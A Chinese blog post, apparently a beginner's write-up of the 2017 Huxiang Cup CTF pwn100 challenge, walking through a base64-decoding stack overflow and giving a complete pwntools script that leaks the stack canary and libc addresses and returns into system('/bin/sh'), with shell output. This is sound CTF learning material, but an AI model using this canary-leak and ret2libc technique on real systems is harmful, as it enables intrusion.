2017年湖湘杯复赛 pwn100-writeup



aptx4869_i ① 于 2017-12-22 22:12:11 发布 ② 924 文章标签: <u>canary pwn CTF 湖湘杯 小白</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/aptx4869_li/article/details/78877216</u> 版权

2017年湖湘杯复赛 pwn100-writeup

这是本人第一次做出来pwn的题可能有些地方显得比较笨,但尽量把自己所想的每一步都描述清楚。不足之处请批评指正。

0x0001

拿到这个题,首先看到是一个pwns和libc.so.6,当时还不知道libc是什么,于是找了些资料看了一下,可以看看这个或者自己百度一下,相关链接http://blog.csdn.net/developerof/article/details/38459947

libc.so.6	2017/11/20 23:38 6 文件	1,722 KB
pwns	http://blog.c2017/6/2618:31ptx文件69 li	6 KB

pwns文件应该是我们要逆向的文件,静态反汇编

0x0002

搜索关键字符 shift+f12,找到关键的几个字符串,进main函数,F5大法



判断应该是让判断条件 v2=0,才能进入Finish的函数,v2=fork(),关于fork()函数也是临时看了看是什么东西,参考链接:

http://blog.csdn.net/jason314/article/details/5640969

具体什么原理还不是很清楚,大致理解,应该是如果子进程没有问题或者出错,返回的值应该是0,然后就能进入第一个判断 条件了,那么sub_8048B29应该是必须要执行的函数,点进去看看:

```
      Image: IDA View-B
      Image: Pseudocode-A

      1
      int
      sub_8048B29()

      2
      {

      3
      preturn sub_80487E6(); aptx4869_1

      4
      >
```

再跳转一次

```
1 int sub_80487E6()
      2 {
          char ∗v0; // edx@1
unsigned <mark>int</mark> v1; // ebx@1
      3
      4
          char *v2; // edi@5
char *v3; // edi@5
int v4; // eax@30
int v5; // eax@31
int v6; // eax@32
      5
      6
      7
      8
      9
     10
           char i; // [sp+17h] [bp-121h]@10
          char 1; // [sp+1/n] [0p-121n]@10
unsigned __int8 j; // [sp+17h] [bp-121h]@15
unsigned __int8 k; // [sp+17h] [bp-121h]@20
char 1; // [sp+17h] [bp-121h]@25
int v12; // [sp+17h] [bp-120h]@9
int v13; // [sp+16h] [bp-116h]@30
int v14; // [sp+16h] [bp-116h]@31
char *dest; // [sp+20h] [bp-118h]@1
char s: // [sp+27h] [bp-111h]@10
    11
    12
    13
    14
    15
    16
    17
    18
          char s; // [sp+27h] [bp-111h]@10
unsigned __int8 v18; // [sp+28h] [bp-110h]@17
unsigned __int8 v19; // [sp+29h] [bp-10Fh]@22
    19
    2.0
    21
           char v20; // [sp+2Ah] [bp-10Eh]@27
    22
    23
           char v21[257]; // [sp+2Bh] [bp-10Dh]@1
    24
          int v22; // [sp+12Ch] [bp-Ch]@1
    25
                                                              // //这里实现了对栈的保护机制,压入canary
// 给dest分配513个字节大小的空间
// v8 指向 v21
    26
           v22 = *MK_FP(__GS__, 20);
    27
           dest = (char *)malloc(513u);
    28
           v0 = v21;
           v1 = 257;
    29
          if ( (unsigned int)v21 & 1 )
    30
                                                                                 // 如果v21的值二进制最后一位是1, 则执行
    31
           -{
             v21[0] = 0;
    32
             v0 = &v21[1];
v1 = 256;
    33
34
    35
           if ( (unsigned __int8)v0 & 2 )
                                                                                // 如果v0(v21) 倒数第二位为0, 则执行
    36
    37
           {
    38
              *(_WORD *)v0 = 0;
              v0 += 2;
    39
40
             v1 -= 2;
    41
           - }
                                                                                // 4*(v1>>2),,把v1后两位置零
// 初始化v0所指向的区域, 值为0, 区域大小为4*(v1>>2)
           memset(v0, 0, 4 * (v1 >> 2));
    42
    43
          v_2 = &v_0[4 * (v_1 >> 2)];
v_3 = &v_0[4 * (v_1 >> 2)];
    44
    45
           if ( v1 & 2 )
    46
                                                                                // 如果u1的倒数第二位为0, 执行
    47
           ₹.
    48
             *(_WORD *)V2 = 0;
49
             v3 = v2 + 2;
    50
                                                                                 // 如果v1最后一位为8, 执行
// 地址对齐结束
    51
           if ( v1 & 1 )
52
              *v3 = 0;
    53
                                                                                 11
```

```
sub_80486FD(dest, 512u);
   54
                                                                // dest中存放输入的数据buf中的内容,特点,每个字节都是BASE64中的字符
        v12 = 0;
v13 = 0;
   55
   56
                                                                // u12+=4
   57
         while ( dest[v12] )
   58
         {
           memset(&s, 255, 4u); // 初始化4个字节, 值为FF FF FF FF
for ( i = 0; (unsigned __int0)i <= 63u; ++i )// i的最大值为64</pre>
   59
   60
   61
           {
             if ( off_804A050[(unsigned __int8)i] == dest[v12] )// 遍历off_804A050[i]中所有字符,如果在那串字符串里面,则赋值给s
   62
                                                                // ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
   63
   64
                s = i;
   65
           for ( j = 0; j <= 63u; ++j )
   66
   67
           -
   68
             if ( off_804A050[j] == dest[v12 + 1] )
   69
                v18 = j;
   70
           for ( k = 0; k <= 63u; ++k )
   71
   72
             if ( off_804A050[k] == dest[v12 + 2] )
   73
   74
                v19 = k:
   75
           з
           for ( 1 = 0; (unsigned __int8)1 <= 63u; ++1 )</pre>
   76
   77
           {
             if ( off_804A050[(unsigned __int8)1] == dest[v12 + 3] )
   78
   79
                v20 = 1:
                                                     http://///以上的四个循环中,通过四次循环,
// 以上的四个循环中,通过四次循环,
// 判断dest[]的四个字节的数据,是否是BASE64编码中的字符,
// 如果是那就存在连续的内存空间,s, v18, v19, v28, 这四个字节
   80
           3
   81
   82
           v4 = v13;
   83
           v14 = v13 + 1;
   84
   85
          v21[v4] = (v18 >> 4) & 3 | 4 * s;
if ( dest[v12 + 2] == '=' )
                                                                // 如果已经到了BASE64的结尾遇到'='则跳出循环
   86
87
             break:
   88
           v5 = v14;
          u5 = u14;
u15 = u14 + 1;
u21[u5] = (u19 >> 2) & 0xF | 16 * u18;
if ( dest[u12 + 3] == '=' )
   89
   90
                                                                // // 如果已经到了BASE64的结尾遇到'='则跳出循环
   91
   92
            break;
          v6 = v15;
v13 = v15 + 1;
   93
   94
                                                                // 到这一步之后,将上述的四个字节的高两位删去,拼在
// 构成了三个字节的数据,实现了BASE64解码的过程
// 分别存在u21[0],u21[1],u21[2]中,
// 如果用户输入了512字节,最终存放了384个字节的数据
// 大循环的自增,每次取四个字节
           v21[v6] = v20 & 0x3F | (v19 << 6);
   95
                                                                                                                         拼在一起,
   96
   97
   98
   99
          v12 += 4;
  100
        }
        printf("Result is:%s\n", v21);
return *MK_FP(__GS__, 20) ^ v22;
0 101
• 102
• 103 }
```

需要注意的地方有这么几个(其他部分在图片里面都有备注): 第26行:v22=*MK_FP(__GS__,20) 这是一个栈的保护机制 canary ,参考链接: https://www.cnblogs.com/gsharpsh00ter/p/6420233.html 第54行:调用了sub_80486FD,必要函数 第56~100行:这里是一个BSAE64的译码过程 第62行:off_804A050这个字符串为'ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijkImnopqrstuvwxyz0123456789+/' 第102行:对canary的值进行异或(判断是否被更改)

再看看sub_80486FD函数:



这个函数实现的功能就是使输入的数据为BASE64编码范围内的字符,不满足则报错 isalnum()函数是判断参数是否为字母或数字,其他每一步的分析都标注在图片里了。需要知道的是最后返回的是输入的数据,最大长度为513位。

0x0003

现在可以想想漏洞在哪里

在 sub_80487E6() 函数中, dest中存放了我们可以随意输入的最多512个字符长度的数据,通过下面的while循环每次取四个字符,通过一系列的位移操作使四个变成三个字符,实际上就是完成了BASE64的解码过程,并且将解码后的数据存放在 v21[257] 数组中,这个数组最多可以存放257个字符。

当我们输入最大长度为512字节时,512/4*3=384,最长解码之后可以得到384字节的数据,但是v21这个数组无法存储到这么 多,必然会造成溢出。

0x0004

栈空间分析:

main函数:

.text:08048B36 ; int __cdecl main(int, char **, char **) .text:08048B36 main ; DATA XREF: start+1710 proc near .text:08048B36 push ebp .text:08048B37 mov ebp, esp esp, 0FFFFFF0h .text:08048B39 and .text:08048B3C esp, 20h sub .text:08048B3F eax, ds:stdin mov .text:08048B44 mov dword ptr [esp+4], 0 ; buf ; stream .text:08048B4C [esp], eax MOV .text:08048B4F call _setbuf .text:08048B54 mov eax, ds:stdout dword ptr [esp+4], 0 ; buf .text:08048B59 MOV .text:08048B61 mov [esp], eax ; stream _setbuf .text:08048B64 call .text:08048B69 mov eax, ds:stderr .text:08048B6E dword ptr [esp+4], 0 ; buf MOV ; stream .text:08048B76 MOV [esp], eax .text:08048B79 call setbuf dword ptr [esp], offset aIAmASimpleProg ; "I am a simple proj .text:08048B7E mnu .text:08048B85 call _puts .text:08048B8A ; CODE XREF: main:loc_8048C1Cij .text:08048B8A loc_8048B8A: .text:08048B8A dword ptr [esp], offset aMayBeICanKnowI ; "\nMay be I can know mov .text:08048B91 call _puts .text:08048B96 call getchar short loc_8048889 .text:08048898 CMP .text:08048B9E jnz .text:08048BA0 getchar call .text:08048BA5 mov [esp+1Bh], al .text:08048BA9 .text:08048BA9 loc_8048BA9: ; CODE XREF: main+7Fij .text:08048BA9 byte ptr [esp+1Bh], OAh cmp .text:08048BAE short loc_8048BBB iz .text:08048BB0 cmp byte ptr [esp+1Bh], 0 .text:08048BB5 short loc_8048BA9 inz .text:08048BB7 jmp short loc_8048BBB .text:08048BB9 5 .text:08048BB9 .text:08048BB9 loc_8048BB9: ; CODE XREF: main+681j .text:08048BB9 jmp short loc_8048C21 .text:08048BBB ; ----.text:08048BBB .text:08048BBB loc_8048BBB: ; CODE XREF: main+781j .text:08048BBB ; main+811j .text:08048BBB call fork .text:08048BC0 [esp+1Ch], eax mov .text:08048BC4 dword ptr [esp+1Ch], 0 стр .text:08048BC9 jnz short loc_8048BE8 .text:08048BCB sub 8048B29 call .text:08048BD0 dword ptr [esp], offset aFinish ; "Finish!" mov

sub_8048B29函数:

.text:08048B29				
.text:08048B29	sub_8048B29	proc ne	ar	
.text:08048B29		push	ebp	1
.text:08048B2A		mov	ebp,	esp
.text:08048B2C		sub	esp,	8
.text:08048B2F/	/hlog_csdn_nc	call	_sub_f	30487E6
.text:08048B34	/ 0108. 0300. 00	leave	A 1005	
.text:08048B35		retn		
.text:08048B35	sub_8048B29	endp		
.text:08048B35				

sub_80487E6函数:

.text:080487E6	sub_80487E6	proc nea	ar	; CODE	XREF:	sub_8048B29+61p
.text:080487E6						
.text:080487E6	var_121	= byte p	ptr -121h			
.text:080487E6	var_120	= dword	ptr -120h			
.text:080487E6	var_110	= dword	ptr -11Ch			
.text:080487E6	dest	= dword	ptr -118h			
.text:080487E6	S	= byte p	ptr -111h			
.text:080487E6	var_110	= byte p	ptr -110h			
.text:080487E6	var_10F	= byte p	ptr -10Fh			
.text:080487E6	var_10E	= byte p	ptr -10Eh			
.text:080487E6	var_10D	= byte p	ptr -10Dh			
.text:080487E6	var_C	= dword	ptr -0Ch			
.text:080487E6						
.text:080487E6	http:	push	ebp not /an	+ v/860	14	
.text:080487E7	nuup.	moving	ebp, esp ^{err} ap	114005		
.text:080487E9		push	edi			
.text:080487EA		push	ebx			
.text:080487EB		sub	esp, 130h			
.text:080487F1		mov	eax, large gs:	20		
.text:080487F7		MOV	[ebp+var_C], ea	ax .		
.text:080487FA		xor	eax, eax			
.text:080487FC		MOV	dword ptr [esp]	, 201h ;	; size	
.text:08048803		call	_malloc			
.text:08048808		MOV	[ebp+dest], eax	<		
.text:0804880E		lea	edx, [ebp+var_*	1 OD]		
.text:08048814		mov	ebx, 101h			
.text:08048819		mov	eax, 0			
0 0 0						
+out . 80 840495		014	ody ocy			
.LEXL:00040H3D		UT DOLL	Loboroouture 40	. гь га	. २ २ मा न	中国的标志
LUXL:08048H3F	4	movi /1 1	[eup+eax+var_1]	w], di ;	; 込里X	a euxhang子中 ormula
.text:08048A46	htt	bioh/plc	eax, [epp+var_]	pux486	9_11	
.text:08048A4C		теа	eax, [eax+2]			

通过找到这些函数的关键部位的汇编代码,可以简单的构建分析一下栈的空间结构wo自己用 Excel 分析的(感觉比较方便),下面是我对栈的分析图:

456			257个位置	
457			257个位置	
458			257个位置	
459			257个位置	
460			257个位置	
461			257个位置	
462			257个位置	
463			257个位置	
464			257个位置	
465		EAX->	"\00"	这里是第258个位置
466				
467			canary	
468			, i i i i i i i i i i i i i i i i i i i	
469				
470				
471			push ebx	
472			paon oox	
173				
171				
175			nush edi	esp-1 in sub 80/87F6
476			pusirea	
470		ehn?		
477		eupz		
470	aub 9049756			osp. 4 hoforo sub 2042P20 coll
479	SUD_6046720		2 push shp	esp-4 before sub_0046629 call
400	htt	p://blo	g. csdn. net/	aptx4869_1i
401		espi		
402				outo.
403			ain	puts
404				
460			A 	
480			A	
487			A	
488			A	
489				
490				
491				setbut_addr
492				
493		ebp1	1 00/0000	
494			sub_8048B29内	
495			a	
496	call sub_8048B29		2.push ebp	
497		esp		
498				
499				
500			1.push eip	
501	main			
502				
503				
504		ebp		

其中地址为从上向下增长,依次分析main函数、sub_8048B29、sub_80487E6,这三个函数,得到上面的结构,canary上面 恰好是v21的257个字节,因此必然会如果我们输入的数据过长必然会导致把canary覆盖掉,发生栈溢出,存在漏洞。这里如 果对汇编语言分析有问题,可以自己找点资料看看了不展开了,有点多。

需要知道canary的最低字节 '\0',如上图中所示小段存储最低字节为 '\0'。

0x0005

写脚本,我们需要考虑一下几个问题。

- 1、canary的值是来自内存的那个固定的地址,程序每次跑起来我们不知道里面存的是什么。
- 2、我们可以通过控制输入的数据使得解码后的数据覆盖到我们想要的地址(覆盖eip,即返回地址)。
- 3、想覆盖到返回地址,必然会导致覆盖canary,我们只能想想办法知道canary的值将其再次写会。
- 4、我们最终的目的是要获取shell,通过合理的控制返回地址所指向的函数。

```
# -*- coding: utf-8 -*-
from pwn import *
                 #调用pwn模块
import binascii
               #binascii模块包含很多在二进制和ASCII编码的二进制表示转换的方法
import base64
              #base64的编码解码
def main():
   debug = 2
   if debug == 1:
      io = process('./pwns') # io 处理各种类型的I/O操作流
      # process() 可以打开一个本地程序并进行交互,开始一个进程
      gdb.attach(io, '''
     b *main
      ''')
            #附加调试器
   elif debug == 2:
      io = process('./pwns') #开始一个进程
   else:
      # nc -1 -p 4546 -e ./pwns
      io = remote('127.0.0.1', 4546) #创建到远程主机的TCP或UDP连接。它支持IPv4和IPv6。
   #context.log_level = 'debug'
   # gdb.attach(s,'b *0x080485c7')
   context(arch='i386', os='linux')
   #设置运行时变量,选定的目标操作系统,体系结构,i386是intel的较早期的32位处理器的名称
   io.recvuntil("May be I can know if you give me some data[Y/N]") #接受到这个字符串
   io.send('Y'+'\n') #向进程发送输入 'Y'
   # io.sendline('Y')
                      #区别: send(data) : 发送数据 , 而 sendline(data) : 发送一行数据,相当于在末尾加\n
   io.recvuntil("Give me some datas:")
   payload= base64.b64encode('A'*258) #258个base64编码的A为payload的值
   #通过base64的编码之后,一共344个字节
   io.sendline(payload)
                       #将构造的数据发出去
   #recv = io.recvuntil('Finish!')
                    #输出接收到的数据
   print io.recv()
   recv= io.recv()
   canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9] #rfind()返回字符串最后一次出现的位
   #实际canary的长度为4字节,但最低字节为'\x00',取最后的'AAAAAA'在字符串之间的位置,向后偏移6,取三个字符
   print canary
   #获取canary结束
   #成功理解
   elf=ELF('./pwns') #elf为 文件装载的基地址
   #ELF模块用于获取ELF文件的信息,首先使用ELF()获取这个文件的句柄,然后使用这个句柄调用函数
   setbuf_got= elf.got['setbuf'] #got 获取指定函数的GOT条目,定位全局变量
   puts_plt = elf.plt['puts']
                                 #plt 获取指定函数的PLT条目,定位过程的数据信息
   #GOT(Global Offset Table)和PLT(Procedure Linkage Table)是Linux系统下面ELF格式的可执行文件中,用于定位全局变量
   io.recvuntil("May be I can know if you give me some data[Y/N]")
   io.send('Y'+'\n')
   # io.sendline('Y')
   io.recvuntil("Give me some datas:")
   #主要是对整数进行打包,就是转换成二进制的形式,比如转换成地址。p32、p64是打包,u32、u64是解包。
   payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(puts_plt) + 'A' * 4 + p32(setbuf_got))
   io.sendline(payload)#将构造的数据发出去
   #recv = io.recvuntil('Finish!')
   print io.recv()
   recv= io.recv()
   print recv
   setbuf_addr = u32(recv[recv.rfind('AAAAAAA')+7:recv.rfind('AAAAAA')+11])
```

```
print setbuf addr
                      #获取setbuf在运行时的实际地址
   elf= ELF('/lib/i386-linux-gnu/libc.so.6') #动态加载把题目所给的动态链接库加载起来
   system offset=elf.symbols["system"] #system偏移地址
   setbuf_offset=elf.symbols["setbuf"]
                                        #setbuf偏移地址
   system_addr=setbuf_addr+system_offset-setbuf_offset
                                                       #system_addr-setbuf_addr=system_offset-setbuf_o
   binsh offset=0x15cd28 #strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
   binsh_addr = setbuf_addr+binsh_offset-setbuf_offset
   io.recvuntil("May be I can know if you give me some data[Y/N]")
   io.send('Y'+'\n')
   # io.sendline('Y')
   io.recvuntil("Give me some datas:")
   payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(system_addr) + 'A' * 4 + p32(binsh_addr)
   io.sendline(payload) #将构造的数据发出去
   #recv = io.recvuntil('Finish!')
   #print io.recv()
   #recv= io.recv()
   io.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
   a= raw_input("pause") #运行结束后暂停在这里,向控制台输出pause
if __name__ == '__main__':
   main()
```

大致思路就是第一次我们通过写258个BASE64编码后的数据,使程序对其解码,恰好覆盖掉canary的最低字节,则puts的时候不会遇到canary而终止,实现canary的泄露。然后通过这个获取canary:

canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9] #后面这部分是获取其他三个字节的数据

然后, 第二次通过:

```
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(puts_plt) + 'A' * 4 + p32(setbuf_got))
```

这个将canary复原然后将puts函数的位置写入一个返回地址,它的参数为setbuf运行起来的地址,即恰好可以获取到setbuf的地址。这里因为我们是非正常调用的puts函数所以需要对栈进行平衡(如果是正常的调用,后面写入的四个A的位置应该是下一条指令的地址,即返回地址),setbuf所占的四个字节恰好是puts参数的位置,所以可以获取它的地址。 那么我们为什么要获取setbuf的地址呢,因为实际这个程序跑起来的时候,我们并不知道他的地址是什么,所以需要动态获取。这里也可以获取其他函数的地址,主要是为了获取system的地址:

```
system_offset=elf.symbols["system"] #system偏移地址
setbuf_offset=elf.symbols["setbuf"] #setbuf偏移地址
system_addr=setbuf_addr+system_offset-setbuf_offset
```

上式等号右边的量均为已知,因为动态加载起来的时候我们都不知道地址,但是这些函数的相对位置是不变的,即偏移地址之 差是固定的。通过这个等量关系,我们锁定了运行时system的实际地址。

我们使用同样的手段获取shell的地址:

```
system_offset=elf.symbols["system"] #system偏移地址
setbuf_offset=elf.symbols["setbuf"] #setbuf偏移地址
system_addr=setbuf_addr+system_offset-setbuf_offset #system_addr-setbuf_addr=system_offset-setb
```

binsh_offset=0x15cd28 #strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" binsh_addr = setbuf_addr+binsh_offset-setbuf_offset

这里讲一下binsh offset的偏移地址的获取:

#strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

这个命令需要你配置正确的路径(不同的电脑路径不同,注意用32位的,这个 elf 文件是32位的)命令行返回给你的数据就是binsh相对于基址的偏移 地址。

第三次的payload为:

```
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(system_addr) + 'A' * 4 + p32(binsh_addr)
```

所以将第三次的payload发给程序之后得到的就是shell。

0x0006

只要我们有合适的环境就可以拿到这个shell了,我用的是kali2.0 64位版本的,可以安装32位的支持库,要是解决不了,就直接用32位的kali,还有如果用的是linux那就要装pwntools这个python的扩展模块(kali自带),python的版本为2.7.+ 。

这是我获得shell后的结果(我在本地试的):成功获取系统的控制权

root@kali:~/Desktop# python exploit.py
[+] Starting local process './pwns': pid 3899

\x00%\x1c�

[*]	'/root/Desktop/pwns'						
	Arch:	i386-32-little					
	RELRO:	Partial RELRO					
	Stack:	Canary found					
	NX:	NX enabled					
	PIE:	No PIE (0x8048000)					

```
4149933456

[*] '/lib32/libc.so.6'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Switching to interactive mode
```

					r	oot@kali	: ~/Desktop		● □ ❷
文件((F) ź	编辑(E)	查看(V)	搜索(S)	终端(T)	帮助(H)			
AAAA \ x90`	AAAA \xa5	AAAAA] @@@ d	AAAAAA �	AAAAAAA					^
4150 [*]	1095 '/li Arch	584 .b32/l 1:	ibc.so. i386-3	6' 2-littl	e				
	RELF Stac NX: PIE:	80: :k:	Partia Canary NX ena PIE en	l RELRO found bled abled					
[*]	Swit	ching	to int	eractiv htt	e mode p://bl	log.cs	ln. net/aptx48	69_1i	
Resu AAAA AAAA	lt i AAAA AAAA	S: AAA AAAAAA AAAAAA	AAAAAAA AAAAAAAA AAAAAAAA	AAAAAAA AAAAAAA AAAAAAAA	AAAAAA AAAAAAA AAAAAAA	AAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAAAAAA	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	
AAAA \$1s	AAAA	AAAAA	AAAAAAA	AAAAAAA					
core \$ cd \$ ls	е» 	ploit	.py li	bc. so. 6	pwn0	pwns	pwntools- dev	pycharm注册	实验文件
caps Desk \$	tone top	e Doc Dow	uments nloads	Music Pictur	Put es pwr	olic ntools	pyasn1 PycharmProjec	Templates ts Videos	

成功获取系统的控制权。

最后,如果是比赛的时候,通过他给的IP地址与端口,应该是可以使这个程序在指定的服务器上运行,并获取shell,有了shell就可以去找flag了。